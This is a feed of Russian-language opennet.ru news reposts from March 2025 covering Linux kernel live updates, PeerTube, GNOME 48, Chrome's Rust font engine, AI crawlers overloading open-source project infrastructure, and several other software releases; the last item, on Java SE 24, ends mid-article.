home tags events about login

opennet honked 21 Mar 2025 21:00 +0100

Google развивает систему перезагрузки ядра без остановки работы устройств

Инженеры из компании Google опубликовали для обсуждения разработчиками ядра Linux набор патчей с реализацией подсистемы Live Update Orchestrator (LUO), предназначенной для обновления ядра в Live-режиме. В отличие от таких механизмов, как livepatch, Ksplice, kpatch и kGraft, новая система не ограничивается возможностью применения отдельных исправлений к работающему ядру Linux, а позволяет полноценно перезагрузить и обновить ядро без остановки работы отдельных устройств. Проект базируется на наборе патчей KHO (Kexec HandOver) к механизму kexec, применяемому для загрузки нового ядра из уже запущенного ядра Linux без физической перезагрузки.

В качестве основной области применения LUO называются облачные окружения, в которых появится возможность обновления гипервизора KVM без нарушения работы запущенных виртуальных машин. В частности, можно будет приостановить виртуальные машины на время перезагрузки ядра с гипервизором, сохранив в рабочем состоянии все прикреплённые к виртуальным машинам устройства.

Для воплощения данной возможности LUO предоставляет возможности для сохранения состояния устройств до переключения на новое ядро и восстановления состояния сразу после задействования нового ядра, таким образом, что непрерывные операции системы и приложений в пространстве пользователя с устройствами не будут нарушены. В процессе перезагрузки ядра также обеспечена неразрывность выполняемых операций с DMA и активность, связанная с обработкой прерываний.

Для координации сохранения состояния и переключения на новое ядро LUO предоставляет API, позволяющий другим подсистемам ядра подключать обработчики для отслеживания и участия в процессе Live-перезагрзки. Среди подсистем, которые могут интегрироваться с LUO, отмечены гипервизор KVM, iommu, система прерываний и драйверы. Для передачи состояния памяти от старого ядра к новому задействован KHO (Kexec HandOver). Управление производится через файлы sysfs "/sys/kernel/liveupdate/{state, prepare, finish}".

Источник: https://www.opennet.ru/opennews/art.shtml?num=62929

opennet honked 21 Mar 2025 20:00 +0100

Для плат Raspberry Pi опубликован генератор системных образов rpi-image-gen

Разработчики проекта Raspberry Pi представили инструментарий rpi-image-gen, предназначенный для упрощения генерации собственных системных образов для плат Raspberry Pi. Из достоинств инструментария упоминаются: быстрая сборка за счёт задействования готовых бинарных пакетов; применение идентичных с Raspberry Pi OS версий библиотек и приложений; возможность настройки произвольной раскладки разделов и использования шифрования ФС; поддержка генерации списка задействованных пакетов и проверки отсутствия уязвимых версий программ. Код написан на Shell и распространяется под лицензией BSD.

Инструментарий rpi-image-gen концептуально отличается от ранее предлагаемых утилит pi-gen, рассчитанных на подготовку вариантов сборок дистрибутива Raspberry Pi OS. В rpi-image-gen система формируется с использованием концепции "коллекций" (примеры), представляющих собой подборки YAML-файлов со списками устанавливаемых пакетов и метаданными, определяющими выполняемые операции. Выбранные коллекции образуют профиль сборки. Для генерации rootfs и образов с различными ФС и раскладкой разделов в rpi-image-gen применяются утилиты bdebstrap, mmdebstrap и genimage.



Источник: https://www.opennet.ru/opennews/art.shtml?num=62927

opennet honked 21 Mar 2025 19:00 +0100

Опубликована децентрализованная видеовещательная платформа PeerTube 7.1

Опубликован выпуск платформы PeerTube 7.1, предназначенной для создания независимых децентрализованных систем видеохостинга и видеовещания, альтернативных таким сервисам, как YouTube, Dailymotion и Vimeo. Создаваемая при помощи PeerTube сеть распространения контента основывается на связывании браузеров посетителей между собой и использовании P2P-коммуникаций. Код проекта распространяется под лицензией AGPLv3.

PeerTube даёт возможность запустить собственный сервер для распространения видео и подключить его к общей федеративной сети. Посетители участвуют в доставке контента и имеют возможность подписки на каналы и получения уведомлений о новых видео, независимо от того, какой именно сервер они используют. Федеративная сеть PeerTube образуется как содружество связанных между собой небольших серверов хостинга видео, на каждом из которых имеется свой администратор и приняты свои правила.

Каждый сервер с видео выполняет роль BitTorrent-трекера, размещающего учётные записи и видео пользователей. Для взаимодействия серверов в федеративной сети применяется протокол ActivityPub. Идентификатор пользователя формируются как "@имя_пользователя@домен_сервера". При просмотре видео данные по возможности загружаются через обращение к браузерам других посетителей, просматривающих тот же контент. Если запрошенное видео никто не просматривает, отдача организуется сервером, на который загружено видео (используется протокол WebSeed).

Помимо распределения трафика между пользователями, просматривающими видео, PeerTube позволяет серверам кэшировать видео других авторов. Таким образом формируется распределённая сеть не только из клиентов, но и из серверов, а также обеспечивается отказоустойчивость. Кроме распространения готового видео имеется поддержка потокового вещания (live streaming) с доставкой контента в режиме P2P. Для управления стримингом могут использоваться типовые программы, такие как OBS.

Для начала вещания через PeerTube пользователю необходимо загрузить на один из серверов видеоролик, описание и набор тегов. После этого ролик станет доступен во всей федеративной сети, а не только на сервере первичной загрузки. Для работы с PeerTube и участия в распространении контента достаточно обычного браузера. Распространять видео с использованием P2P-коммуникаций можно добавив на свой сайт специальный виджет со встроенным web-плеером, по аналогии с тем как на страницы встраиваются ролики с YouTube. Отслеживать появление видео можно через подписку на выбранные видеоканалы в федеративных социальных сетях (например, в Mastodon и Pleroma) или через RSS.

В настоящее время в федеративную сеть входит 994 сервера, поддерживаемых добровольцами и организациями. Если пользователя не устраивают правила размещения видео на определённом сервере PeerTube, он может подключиться к другому серверу или запустить свой собственный сервер. Для быстрого развёртывания сервера предоставляется преднастроенный образ в формате Docker (chocobozzz/peertube).

Изначально платформа PeerTube основывалась на применении BitTorrent-клиента WebTorrent, запускаемого в браузере и использующего технологию WebRTC для организации прямого P2P-канала связи между браузерами. Позднее вместо WebTorrent был задействован протокол HLS (HTTP Live Streaming) в связке с WebRTC, позволяющий адаптивно управлять потоком в зависимости от полосы пропускания. Web-интерфейс построен с использованием фреймворка Angular.

Основные новшества PeerTube 7.1:

  • Улучшена идентификация узлов федеративной сети - под миниатюрами теперь показывается информация о сервере, который использует автор видео. При нажатии на данную информацию появляется диалог с более подробными сведения о том, от куда получено видео.
  • Расширена поддержка спецификации Podcast 2.0. Добавлена возможность использования контента с PeerTube в качестве подкастов - пользователи могут подписаться на каналы с подкастами и отдельно воспроизводить звуковой поток из видео, используя для прослушивания типовые подкастовые приложения, такие как AntennaPod и Podverse. Обеспечена совместимость ленты подкастов с Apple Podcast.
  • Изменено оформление страницы "About". Добавлен блок с информацией об экземпляре платформы, такой как число пользователей и размещённых видео, описание платформы и правила использования.
  • Включён модернизированный протокол, позволяющий увеличить число одновременно просматривающих контент пользователей за счёт сокращения числа сообщений, отправляемых в федеративную сеть.
  • Добавлена поддержка верификации в микроблогах Mastodon - пользователь может связать свои каналы и платформы PeerTube с учётной записью в Mastodon и выставить кнопку для подписки на свой блог в Mastodon.
  • Обновлена библиотека p2p-media-loader, позволяющая использовать P2P-режим в проигрывателе видео для повышения стабильности воспроизведения контента. Изменение особенно заметны при просмотре стримов, настроенных для работы в режиме с низкими задержками.
  • Добавлена поддержка размещения субтитров к видео в объектном хранилище.
  • Администратору предоставлены настройки для определения поведения проигрывателя по умолчанию.
  • Добавлена поддержка клиентских плагинов для вставки внешних ссылок в меню в левой панели.
  • Прекращена поддержка ветки платформы Node.JS 18.


Источник: https://www.opennet.ru/opennews/art.shtml?num=62923

opennet honked 21 Mar 2025 14:00 +0100

В GCC-фронтэнде с компилятором Rust реализован Borrow checker

Для включения в состав ветки GCC 15 предложена серия патчей с улучшением поддержки языка Rust во фронтэнде gccrs. Наиболее заметным изменением стала поддержка проверки заимствования переменных (borrow checker), реализованная на основе компонента Polonius, разрабатываемого основной командой разработчиков Rust в качестве следующего поколения Borrow checker.

Предложенная реализация Borrow checker отличается тем, что написана на языке Rust и предоставляет расширенные возможности верификации кода, позволяющие в ряде случаев считать безопасным (safe) код, который до сих пор требовал пометки ключевым словом Unsafe из-за ограничений применяемой по умолчанию реализации Borrow checker.

Подготовленное для GCC решение имеет ограничения:

  • Для Polonius известны ситуации, в которых некоторый реально существующий в проектах код приводит к экспоненциальному росту сложности анализа.
  • В случае GCC для завершения фазы начальной раскрутки (bootstrapping) компилятора gccrs на данный момент требуется компилятор Rust (в будущем данное ограничение будет устранено).

Полная реализация самодостаточной сборки подразумевает 2-стадийную раскрутку, при которой сначала GCC соберёт gccrs без Borrow checker, а затем соберёт упомянутую реализацию Borrow checker, написанную на языке Rust, используя урезанный варианта компилятора и считая код условно-доверяемым (т.е. не выполняя проверку заимствования). После сборки Borrow checker-а будет выполнена ещё одна пересборка компилятора, но уже с выполнением проверок заимствования.

Источник: https://www.opennet.ru/opennews/art.shtml?num=62924

opennet honked 21 Mar 2025 14:00 +0100

Для ОС Haiku началось портирование драйвера NVIDIA и опубликован порт GIMP 3.0

Илья Чугин (X512) сообщил о первых результатах портирования драйвера NVIDIA для операционной системы Haiku. Порт пока находится на начальной стадии развития, но уже пригоден для простой отрисовки. В работе задействованы открытый модуль ядра от компании NVIDIA и Vulkan-драйвер NVK из состава Mesa. В Mesa-драйвер NVK добавлена поддержка работающего на уровне ядра драйвера NVIDIA вместо DRM-драйвера Nouveau. Libdrm и связанные c данной библиотекой компоненты в порте не используются.

Решение использовать код от компании NVIDIA, а не драйвер Nouveau, было принято исходя из лёгкости портирования - драйвер от NVIDIA спроектирован как переносимый и использующий общий код в сборках для Windows, Linux, FreeBSD и Solaris. Кроме того, драйвер NVIDIA имеет более высокое качество и лучше поддерживается.

Дополнительно можно отметить портирование для Haiku графического редактора GIMP 3.0. Порт создан Герасимом Троеглазовым (3dEyes).



Источник: https://www.opennet.ru/opennews/art.shtml?num=62926

opennet honked 21 Mar 2025 13:00 +0100

Перегрузка инфраструктуры KDE, GNOME, Fedora, Codeberg и SourceHut из-за ИИ-индексаторов

Различные открытые проекты столкнулись с волной сбоев и замедления работы элементов инфраструктуры из-за повышения активности индексаторов содержимого сайтов (скраперов), собирающих информацию для обучения больших языковых моделей или для обеспечения ИИ-поиска в Web (например, компания Anthropic вчера представила вариант модели Claude 3.7 с возможностью поиска в Web).

Проблемы возникают из-за того, что подобные ИИ-индексаторы действуют агрессивно, собирают информацию в несколько потоков и не учитывают правила доступа к контенту, заданные на сайтах через файл robots.txt. Проблему усугубляет то, что разработками в области машинного обучения занимаются большое число разных компаний по всему миру, которые пытаются собирать как можно больше данных в меру своих возможностей. Каждая компания запускает свой индексатор и все вместе они создают огромную паразитную нагрузку на элементы инфраструктуры.

После начала блокировки подобного трафика, некоторые индексаторы начали притворяться типовыми браузерами для обхода фильтрации по идентификатору User Agent и использовать распределённые сети, охватывающие большое число хостов, для преодоления ограничений интенсивности обращений с одного IP. Наиболее сильно из-за активности ИИ-индексаторов страдают инфраструктуры открытых проектов, использующих собственные хостинги Git-репозиториев, форумы и Wiki, которые изначально не были рассчитаны на обработку высокой нагрузки.

Проблемы возникли у платформы совместной разработки SourceHut, развиваемой Дрю ДеВолтом (Drew DeVault), автором пользовательского окружения Sway. Дрю сетует на то, что в очередной раз вместо того, чтобы заниматься развитием платформы ему приходится тратить большую часть своего времени на разгребание неожиданно возникших проблем. Четыре года назад проблемой для SourceHut стало использование CI-инфраструктуры для майнинга криптовалют. Два года назад пришлось разбираться с флудом запросами "git clone" из-за сервиса Go Module Mirror. В прошлом году платформа была выведена из строя на неделю из-за DDoS-атаки. Теперь возникла новая напасть - ИИ-индексаторы.

По словам Дрю, решение нескольких приоритетных задач было отложено на недели или даже месяцы из-за того, что создателей SourceHut постоянно отвлекает блокировка ИИ-ботов. Чтобы избежать сбоев правила блокировки приходится пересматривать по несколько раз в день. Для снижения запросов к ресурсоёмким обработчикам в SourceHut были внедрены ловушки на базе инструментария Nepenthes, генерирующего в ответ на запросы ботов случайный контент с зацикленными на ловушку ссылками. До этого разработчики SourceHut из-за агрессивного поведения ИИ-ботов были вынуждены заблокировать трафик из нескольких облачных платформ, включая Google Cloud Platform и Azure.

При этом введённые меры не лишены ложных срабатываний, от чего уже пострадали многие пользователи, так как внедрённая система блокировки не всегда может отличить реальных пользователей от ботов (например, возникли проблемы со сборкой пакетов для репозиториев Nix). ИИ-боты сканируют всё до чего могут дотянуться, включая ресурсоёмкие операции, такие как "git blame", перебирают каждую страницу в "git log" каждого репозитория, мимикрируя под запросы обычных пользователей, используя случайные индинтификаторы реальных браузеров (User Agent) и отправляя запросы с десятков тысяч IP, не связанных к какой-то одной подсетью.

Другие проекты, обратившие внимание на проблему:

  • Из-за высокой нагрузки на инфраструктуру для противостояния ИИ-индексаторам разработчики GNOME внедрили систему защиты от ботов Anubis, допускающую вход только после вычисления хэша sha256 (proof-of-work). При открытии страниц в GitLab GNOME теперь появляется характерная аниме-заставка, которая у некоторых пользователей приводит к минутной задержке загрузки страниц. За два с половиной часа тестирования только 3% запросов прошили проверку в Anubis, а 97% обращений были совершены ботами. Ранее для предотвращения высокой нагрузки от ИИ-ботов разработчики GNOME ограничили интенсивность обращений с IP-адресов при доступе незарегистрированных пользователей к запросам на слияние и к коммитам.
  • В проекте Fedora из-за запросов ИИ-индексаторов наблюдаются сбои с работой платформы совместной разработки Pagure. В процессе противостояния с ИИ-ботами пришлось заблокировать множество подсетей, включая весь диапазон IP-адресов Бразилии, что привело к блокировке и некоторых пользователей.
  • Сообщается о проблемах с сервисом совместной разработки Codeberg и инфраструктурой платформы Forgejo (code.forgejo.org), которые пытаются отразить поток запросов ИИ-индексаторов. Упоминаются как индексаторы, отправляющие запросы с указанием известных ИИ-платформ в заголовке User Agent, так и ИИ-боты, прикрывающиеся идентификаторами обычных браузеров и отправляющие запросы с десятков тысяч IP-адресов.
  • GitLab-сервер проекта KDE на некоторое время оказался недоступен из-за перегрузки в результате активности ИИ-индексаторов, отравлявших запросы из подсети, принадлежащей компании Alibaba. Запросы поступали с одним заголовком User-Agent, притворяющимся браузером MS Edge. В настоящее время активность бота блокирована на уровне фильтрации по User-Agent.
  • Из-за высокой нагрузки на сайт разработчики Inkscape начали блокировку по спискам Prodigious и планируют установить систему Anubis для защиты от ИИ-индексаторов.
  • Из-за наплыва ИИ-индексаторов отмечаются сбои в работе форума проекта FreeCAD и проблемы с Wiki проекта Arch Linux.
  • Разработчики открытой социальной сети Diaspora сообщили о возрастании нагрузки на форумы Discourse, Wiki и web-сайт проекта. По статистике за ноябрь и декабрь, собранной до нашествия обезличенных ботов, около 70% всего трафика пришлось на запросы от ИИ-индексаторов: 24.6% трафика сгенерировано ботом GPTBot, 17.1% - Amazonbot, 4.3% - ClaudeBot, 2.2% - meta-externalagent (для сравнения на ботов Google и Bing приходится по 0.14% трафика). В пиковые моменты интенсивность работы ботов достигала 10 запросов в секунду. ИИ-боты не обращали внимание на robots.txt, перебирая всё, вплоть до истории редактирования в Wiki. При блокировке IP-адресов, боты возобновляли работу с новых адресов, а при блокировке User-Agent переходили к индексации под идентификаторами типовых браузеров.

Администраторы микроблогинговой платформы Framapiaf подготовили список блокировки, насчитывающий 460 тысяч адресов с которых зафиксирована активность ИИ-ботов. Отдельно развивается проект ai.robots.txt, собравший список идентификаторов (User Agent) ИИ-индексаторов, которые не скрывают имя бота, а также опубликовавший статистику о том, какие из ботов учитывают правила из файла robots.txt. Примеры блокировки по заголовку User-Agent предложены для Apache httpd и nginx.

Дополнительно можно отметить, ловушку для ИИ-ботов AI Labyrinth, представленную вчера компанией Cloudflare. Пользователям Cloudflare предоставлена опция, позволяющая вместо блокировки ИИ-ботов, игнорирующих запрет на индексацию, отдавать фиктивные страницы и зацикливать ботов на их обработке. Предполагается, что выдача ИИ-ботам мусорного контента заставит их разработчиков следовать правилам robots.txt и снизить интенсивность запросов. По статистике Cloudflare около 1% всего трафика в сети приходится на ИИ-ботов.

Источник: https://www.opennet.ru/opennews/art.shtml?num=62925

opennet honked 20 Mar 2025 14:00 +0100

Браузер Chrome переведён на шрифтовой движок Skrifa, написанный на Rust

Компания Google перевела браузер Chrome на библиотеку Skrifa, написанную на языке Rust и предоставляющую возможности для обработки шрифтов в формате OpenType. Библиотека Skrifa реализует подмножество возможностей шрифтового движка FreeType, необходимое для 2D-библиотеки Skia, применяемой в Chrome и Chromium. Для избавления библиотеки Skia от привязки к движку FreeType создан новый шрифтовой бэкенд, основанный на Skrifa.

В Chrome 128 написанный на Rust бэкенд был включён в экспериментальном режиме для редко используемых форматов шрифтов, таких как CFF2 и цветные шрифты. Начиная с выпуска Chrome 133 новый бэкенд задействован для всех web-шрифтов в сборках для платформ Linux, Android и ChromeOS. На платформах Windows и macOS новый движок пока используется в качестве запасного и применяется в случае, если система не поддерживает формат шрифта, который пытается отобразить браузер.

Код Skrifa разработан инженерами Google в рамках инструментария Fontations и открыт под лицензиями MIT и Apache 2.0. Для проверки корректности работы Skrifa подготовлено около 700 unit-тестов. Помимо библиотеки Skrifa, предоставляющей API для доступа к метаданным шрифтов и загрузки контуров глифов, инструментарий Fontations включает низкоуровневые библиотеки для чтения, разбора, изменения и создания шрифтовых данных в формате OpenType. В свою очередь Fontations является частью проекта Oxidize, созданного для перевода утилит и библиотек для работы с текстом и шрифтами с компонентов на языках Python (fonttools, fontmake, nanoemoji) и C++ (HarfBuzz, FreeType) на новые реализации, написанные на Rust.

Разработка компонентов на Rust началась из-за недостаточной эффективности выявления ошибок при помощи fuzzing-тестирования, так как форматы шрифтов слишком сложны для охвата всех возможных комбинаций. Например, на прошлой неделе во FreeType была выявлена критическая уязвимость, позволяющая выполнить код при обработке специально оформленных шрифтов. Помимо движка FreeType проблемы с обеспечением безопасности могут создавать и используемые в нём зависимости, такие как bzip2, libpng и zlib.

Использование Rust позволило значительно снизить вероятность появления проблем при работе с памятью, повысить качество кода, тратить меньше времени на исправление проблем с безопасностью и ускорить внесение улучшений в возможности Chrome, связанные со шрифтами. По статистике Google и Microsoft около 70% опасных уязвимостей вызваны проблемами при работе с памятью, которых можно избежать при использовании языка Rust без unsafe-блоков.

Например, из проблем, в прошлом выявлявшихся в коде FreeType, можно было избежать проблем, связанных с обращением к освобождённым областям памяти, выходом за границу буфера, доступом к массивам без проверки индексов, целочисленными переполнениями, некорректным использованием необнулённых областей памяти и ошибками приведения типов.

Источник: https://www.opennet.ru/opennews/art.shtml?num=62922

opennet honked 20 Mar 2025 12:00 +0100

Релиз программы для редактирования видео LosslessCut 3.65.0

Опубликован выпуск программы LosslessCut 3.65.0, предоставляющей графический интерфейс для редактирования мультимедийных файлов без перекодирования содержимого. Наиболее востребованной функцией LosslessCut является кадрирование и обрезка видео и звука, например, для сокращения размера больших файлов, снятых на экшн-камеру или камеру квадрокоптера. LosslessCut позволяет выбрать в файле актуальные фрагменты записи и отбросить лишнее, без проведения полного перекодирования и сохранив исходное качество материала. Так как обработка выполняется путём копирования имеющихся данных, а не перекодирования, операции выполняются очень быстро. LosslessCut написан на языке JavaScript с использованием платформы Electron и является надстройкой над пакетом FFmpeg. Наработки распространяются под лицензией GPLv2. Сборки подготовлены для Linux (snap, flatpak), macOS и Windows.

Без перекодирования программа также может решать такие задачи как прикрепление звукового трека или субтитров к видео, вырезание отдельных сцен из роликов (например, вырезание рекламы из записей телепередач), раздельное сохранение фрагментов, привязанных к меткам/главам, перегруппировка частей видео, разделение звука и видео по разным файлам, изменение типа мультимедийного контейнера (например, из MKV в MOV), сохранение в форме изображений отдельных кадров видео, создание миниатюр, экспорт фрагмента в отдельный файл, изменение метаданных (например, данных о местоположении, времени записи, горизонтальной или вертикальной ориентации). Присутствуют средства для определения и автоматического вырезания пустых областей (чёрный экран на видео и фрагменты без звука в звуковых файлах), а также привязки к изменениям сцены.

Возможно соединение фрагментов из разных файлов, но файлы должны быть закодированы с использованием идентичного кодека и параметров (например, сняты одной камерой без изменения настроек). Возможно редактирование отдельных частей с выборочным перекодированием только изменяемых данных, но с оставлением в исходном видео остальной информации, не затронутой при редактировании. В процессе редактирования поддерживается откат изменений (undo/redo) и показ лога команд FFmpeg (можно повторить типовые операции из командной строки без использования LosslessCut).

Ключевые изменения в новой версии:

  • Реализованы маркеры для размещения закладок на временной шкале, которые могут быть экспортированы в форме скриншотов. Технически маркеры оформлены как сегменты видео, не имеющие времени окончания, исключаемые при экспорте и отображаемые по иному.
  • Добавлена возможность одновременного воспроизведения нескольких звуковых дорожек.
  • Обеспечено сохранение состояние выделенных сегментов внутри файлов ".llc".
  • Добавлен режим разделения временной шкалы на основе размера контента. Например, файл, размером 4 ГБ может быть экспортирован в форме 4 файлов по 1 ГБ.
  • Добавлена поддержка программного изменения сегментов, используя выражения на JavaScript.
  • Реализовано запоминание параметров диалогов.
  • Добавлена возможность выбора дорожек со звуком и видео для определения областей с тишиной и пустотой.
  • Добавлены новые комбинации клавиш: shift+alt+up, shift+alt+down, shift+alt+pageup и shift+alt+pagedown для перемещения между сегментами.
  • Улучшена отрисовка визуализации звуковой волны.
  • Добавлены новые переменные FILE_EXPORT_COUNT и EXPORT_COUNT для подстановки в имена файлов.
  • Обновлены версии пакетов Electron 35 и FFmpeg 7.1.


Источник: https://www.opennet.ru/opennews/art.shtml?num=62921

opennet honked 20 Mar 2025 11:00 +0100

Выпуск miracle-wm 0.5, композитного менеджера на базе Wayland и Mir

Мэтью Косарек (Matthew Kosarek), разработчик из компании Canonical, опубликовал выпуск композитного менеджера miracle-wm 0.5, использующего протокол Wayland и компоненты для построения композитных менеджеров Mir. Miracle-wm поддерживает мозаичную (tiling) компоновку окон, схожую с аналогичной в проектах i3 и Sway. В качестве панели может применяться Waybar. Код проекта написан на языке C++ и распространяется под лицензией GPLv3. Готовые сборки сформированы в формате snap, а также в пакетах rpm и deb для Fedora и Ubuntu.

Целью miracle-wm является создание композитного сервера, применяющего мозаичное управление окнами, но более функционального и стильного, чем такие продукты, как Swayfx. При этом проект позволяет использовать и классические приёмы работы с плавающими окнами, например, можно размещать отдельные окна поверх мозаичной сетки или закреплять окна к определённому месту на рабочем столе. Поддерживается виртуальные рабочие столы с возможностью выставления для каждого рабочего стола своего режима работы с окнами по умолчанию (мозаичная компоновка или плавающие окна).

Предполагается, что miracle-wm может оказаться полезным пользователям, которые отдают предпочтение мозаичной компоновке, но желают получить визуальные эффекты и более яркое графическое оформление с плавными переходами и цветами. Конфигурация определяется в формате YAML. Для установки miracle-wm можно использовать команду "sudo snap install miracle-wm --classic".

Основные новшества:

  • Добавлена возможность перемещения контейнеров (закреплённых окон) в режиме drag&drop. Для захвата окна используется левая кнопка мыши с удержанием клавиш Meta (Win) и Shift, после чего окно можно свободно перемещать по мозаичной сетке.
  • Добавлена поддержка перемещения плавающих окон при помощи указателя мыши. Для захвата окна используется левая кнопка мыши с удержанием клавиши Meta (Win).
  • Появилась возможность прикрепления к плавающему окну мини-ячеек с другими окнами, которые можно перемещать вместе, не привязываясь к основной мозаичной сетке.
  • Реализованы соответствующие оконному менеджеру i3 и композитному менеджеру Sway критерии, определяющие область действия управляющих IPC-команд.
  • Добавлена анимация закрытия окон.
  • По умолчанию включена возможность плавного пропадания и появления окон.


<iframe src="https://www.youtube.com/embed/KwOp8J09Zdw?si=bPfWVwoONr4n_U4V">

Источник: https://www.opennet.ru/opennews/art.shtml?num=62918

opennet honked 19 Mar 2025 22:00 +0100

Выпуск среды рабочего стола GNOME 48

После шести месяцев разработки представлен выпуск среды рабочего стола GNOME 48. Для быстрой оценки возможностей GNOME 48 предложены специализированные Live-сборки на основе openSUSE и установочной образ, подготовленный в рамках инициативы GNOME OS. GNOME 48 также уже включён в состав экспериментальных сборок Ubuntu 25.04 и Fedora 42.

В новом выпуске:

  • Добавлена поддержка расширенного динамического диапазона яркости (HDR, High Dynamic Range) и возможность вывода HDR-контента на мониторы, поддерживающие HDR. Для включения поддержки HDR в конфигураторе в секции с настройками экрана появилась опция "High Dynamic Range".
  • В композитный сервер Mutter добавлена поддержка тройной буферизации, позволяющей добиться более плавной отрисовки изменений на экране и анимации. При тройной буферизации используется три экранных буфера - в первый осуществляется отрисовка, из второго производится вывод на экран, а третий используется для продолжения непрерывного процесса отрисовки, если первый буфер был заполнен до завершения вертикальной развёртки. Применение третьего дополнительного буфера позволяет избавиться от задержки, возникающей при двойной буферизации из-за невозможности переключения между буферами отрисовки и вывода до завершения вертикальной развёртки (vblank).
  • Новые окна теперь по умолчанию размещаются с выравниванием по центру экрана. Улучшено позиционирование окон в многомониторных конфигурациях.
  • Реализована стековая компоновка списка уведомлений, в которой уведомления сгруппированы по приложениям. Для того чтобы избежать нагромождения группы свёрнуты и для просмотра отдельных уведомлений необходимо раскрыть желаемую группу.
  • Предложен новый музыкальный проигрыватель Decibels, который отличается минималистичным интерфейсом, оптимизированным для воспроизведения отдельных звуковых файлов при попытке их открытия в других приложениях, например, в файловом менеджере или почтовом клиенте. В окне визуализируется форма звуковой волны, имеется ползунок для быстрой смены позиции, переключатель скорости воспроизведения, регулятор громкости и кнопки для быстрой перемотки на 5 и 10 секунд вперёд и назад. Код Decibels написан на языке TypeScript с использованием JavaScript-обвязок над GStreamer, Libadwaita, Gio, GObject и GTK4, и распространяется под лицензией AGPLv3.

  • В просмотрщик изображений встроены инструменты для редактирования, позволяющие кадрировать, поворачивать и зеркально отражать изображения. Изменены элементы интерфейса для изменения масштаба, добавлена кнопка для возвращения к исходному масштабу и меню для быстрого выбора типовых уровней масштабирования. Добавлена экспериментальная поддержка форматов RAW-изображений и метаданных, таких как формат XMP.
  • По умолчанию задействован новый шрифт Adwaita Sans, который пришёл на смену шрифту Cantarell, применявшемуся с 2010 года. Adwaita Sans основан на шрифте Inter, спроектированном для использования в интерфейсах пользователя и оптимизированном для достижения высокой чёткости символов малого и среднего размера (менее 12px) при отображении на экранах компьютеров. В отличие от шрифта Cantarell вокруг проекта Inter сформировалось большое сообщество, продолжающее развитие шрифта, устраняющее недостатки, реализующее новые шрифтовые возможности и тестирующее качество отображения для различных языков и типов экранов.

    Для терминалов и редакторов кода задействован моноширинный шрифт Adwaita Mono, являющийся модифицированным вариантом шрифта Iosevka, приближенным по стилю к шрифту Inter.

  • В конфигуратор добавлена новая секция "Digital Wellbeing" для выработки привычек здорового поведения при работе за компьютером. Программа позволяет проанализировать сколько времени пользователь проводит за компьютером каждый день и оценить динамику изменений за последние дни или недели. При желании можно настроить вывод уведомления или перевод экрана в черно-белый режим при превышении заданного для себя дневного лимита. Также программа может использоваться для напоминания о необходимости сделать перерыв после непрерывной работы, время которой превышает рекомендованные нормы.
  • В настройки управления питанием добавлена опция для продления жизни аккумулятора через ограничение максимального уровня заряда в 80%.
  • Обновлён интерфейс текстового редактора - панель интегрирована в заголовок окна, а все опции сосредоточены в одном меню. Предоставлен быстрый доступ к параметрам автоматического форматирования. В основное окно перемещён индикатор положения курсора.
  • В web-браузере Epiphany расширены возможности диалога для навигации по истории посещений. Сокращено число операций обновления экрана. Добавлена возможность закрытия закреплённых вкладок. Упрощён интерфейс для импорта закладок и паролей из других браузеров. Реализована цикличная прокрутка элементов в выпадающем блоке адресной строки. Улучшен механизм автозаполнения полей с паролями. В контекстное меню на странице открытия новой вкладки добавлен пункт для перезагрузки страницы. Улучшены диалоги для работы с закладками и показа информации о проблемах с конфиденциальностью (заблокированного кода для отслеживания).
  • В JavaScript-движке GJS при выполнении многих типовых операций снижена нагрузка на CPU и сокращено потребление памяти.
  • В системе индексации файлов снижено потребление памяти при обработке содержимого больших каталогов и ускорено извлечение метаданных из мультимедийных файлов.
  • Повышена стабильность и производительность конфигураций с мониторами, напрямую подключёнными к дискретной видеокарте.
  • В файловом менеджере значительно повышена производительность кода загрузки содержимого каталогов и отрисовки изменений при прокрутке. При навигации по каталогам с большим числом миниатюр производительность загрузки содержимого возросла в пять раз, а отрисовки при прокрутке - в 10 раз.
  • В библиотеке GTK ускорены операции создания и изменения размера элементов интерфейса.
  • Добавлена поддержка глобальных сочетаний клавиш - приложения могут определять общесистемные комбинации клавиш, действующие когда окно приложения не в фокусе. Для добавления общесистемных комбинаций клавиш требуется подтверждение операции пользователем.
  • Расширена поддержка специальных функциональных клавиш, таких как Copy, Paste, Cut, Undo и Redo, которые теперь могут использоваться в полях ввода. Для быстрого перехода к поиску реализована поддержка клавиши Find.
  • Улучшен интерфейс для редактирования контактов в адресной книге.
  • В конфигураторе в секции "Region and Language" обновлён диалог настройки форматов и локали. Проведена реструктуризация настроек управления энергопотреблением.
  • В экранном ридере Orca реализована корректная поддержка комбинаций клавиш в окружениях на базе Wayland.
  • Немного оптимизированы цвета в интерфейсе приложений, а кнопки и формы ввода сильнее скруглены.
  • Улучшен диалог редактирования событий в календаре-планировщике. Изменена форма планирования даты и времени. Добавлена поддержка указания часового пояса.
  • В композитный сервер Mutter добавлена возможность сборки без стека отрисовки шрифтов.
  • Добавлена поддержка порталов xdg для задания общесистемных комбинаций клавиш и доступа к USB-устройствам (требуется наличие Flatpak 1.16).
  • Развиваемый проектом дистрибутив GNOME OS переведён на использование компонента systemd-sysupdate для организации атомарного обновления системы. Замена OSTree на systemd-sysupdate позволила задействовать верифицированный процесс загрузки на системах с UEFI Secure Boot. Инструментарий systemd-sysupdate предназначен для автоматического определения, загрузки и установки обновлений с использованием атомарного механизма замены разделов, файлов или каталогов. Systemd-sysupdate позволяет использовать два независимых раздела/файла/каталога, на одном из которых находится текущий работающий ресурс, а на другом устанавливается очередное обновление, после чего разделы/файлы/каталоги меняются местами.


Источник: https://www.opennet.ru/opennews/art.shtml?num=62916

opennet honked 19 Mar 2025 19:00 +0100

Выпуск Java SE 24 и OpenJDK 24

После шести месяцев разработки компания Oracle опубликовала платформу Java SE 24 (Java Platform, Standard Edition 24), в качестве эталонной реализации которой используется открытый проект OpenJDK. За исключением удаления некоторых устаревших возможностей в Java SE 24 сохранена обратная совместимость с прошлыми выпусками платформы Java - большинство ранее написанных Java-проектов без изменений будут работоспособны при запуске под управлением новой версии. Готовые для установки сборки Java SE 24 (JDK, JRE и Server JRE) подготовлены для Linux (x86_64, AArch64), Windows (x86_64) и macOS (x86_64, AArch64). Разработанная в рамках проекта OpenJDK эталонная реализация Java SE 24 полностью открыта под лицензией GPLv2 с исключениями GNU ClassPath, разрешающими динамическое связывание с коммерческими продуктами.

